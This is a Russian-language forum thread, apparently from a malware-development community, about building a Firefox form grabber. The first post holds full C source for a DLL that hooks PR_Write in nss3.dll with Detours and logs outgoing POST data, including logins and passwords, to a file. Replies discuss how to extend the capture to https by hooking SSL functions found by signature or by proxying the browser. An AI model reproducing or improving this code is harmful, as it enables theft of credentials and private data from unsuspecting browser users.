Приветствую всех wasm'овских. Ради интереса хочу написать формграббер. Идея в том, чтоб инжектиться в firefox, сплайсить функции чтения/записи и смотреть, что отправляет юзер серверу (post дата). Видел сообщение Рела на дамаге: С Ишаком все понятно на счет InternetReadFile и т.п. Но у ff видел шялпу под типу PR_Write, PR_Read (из nss3.dll). Код (C): #include "pch.h" #include <windows.h> #include <WinInet.h> #include <stdio.h> #pragma comment (lib, "detours.lib") #include "detours.h" #pragma warning(disable: 4996) typedef INT(*pr_write)(void* desc, const void* buf, int amount); #define OUTPUT "D:\\info.txt" pr_write p; INT intercept(void* desc, const void* buf, int amount) { char* str = (char*)buf; if (str) { if ((strncmp(str, "POST", 4) == 0)) { str[amount] = 0; FILE* f = fopen(OUTPUT, "a+"); if (f) { fwrite(str, strlen(str), 1, f); fclose(f); } } } return p(desc, buf, amount); } void injected() { p = (pr_write)GetProcAddress(GetModuleHandleA("nss3.dll"), "PR_Write"); if (p) { MessageBox(0, L"Attached", 0, 0);; } } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: injected(); DetourRestoreAfterWith(); DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)p, intercept); // DetourAttach(&(PVOID&)def, HookReq); DetourTransactionCommit(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } Проинциолизировали PR_Write. Записываем POST запрос в файл. Все работет отлично (получаю заголовки, логи:пассы). Но проблема в том, что работает только с http. А всякие данные с https не снифает не GET не POST. Какой есть выход? Как грабить https? --- Сообщение объединено, 3 ноя 2020 --- nspr4.dll - функции PR_Write, PR_Read - не может найти вообше. А адрессное пространство ff не загружен nspr4.dll вообще. Остается хукать только две функции из nss3.dll (посмотрел, что есть еще некоторые функции)
Посмотри в сорсах лисы, какие криптофункции вызываются выше этих двух, скорее всего они тоже экспортируются из nss3.dll.
PR_Write PR_SetSocketOption PR_SetError PR_Read PR_Poll PR_OpenTCPSocket PR_GetSocketOption PR_GetError PR_Close Это вроде еще доп функции. Еще видел wininet api (InternetReadFile etc). По сути, апи ff должны явлться оберткой над socket. А что если хучить socket? Но как ты сказал, нужно какие-то криптофункции. Но трабл в том, что PR_Read вообще не грабит https (если были бы непонятные данные, то в какой-то мере похучив криптофункции можно было бы дешифровать). У кого есть опыт? Кто сталкивался?
Я бы смотрел в сторону проксификации браузера (см. журнал Inception, вроде первый выпуск). Это более стабильное решение, особенно для хрома, где функции надо будет искать по сигнатуре, и каждый новый выпуск оно будет меняться.
Вродъ для чтения с https нужен SSL_Write/SSL_Read и приходится искать по сигнатуре. А что если в рантайме искать? И как вообще найти эту сигнатуру? Если ссылку оставишь о том, как найти буду очень благодарен. Про прокси ты имел ввиду то, что хучим функции сокета браузера, перенаправляем на наш прокси сервер запросы и там уже декриптим данные и сохраняем в буфер? Но я в аверском обзоре видел то, что хучат еще серты. Но хз как там все устроено. За любую инфу буду благодарен.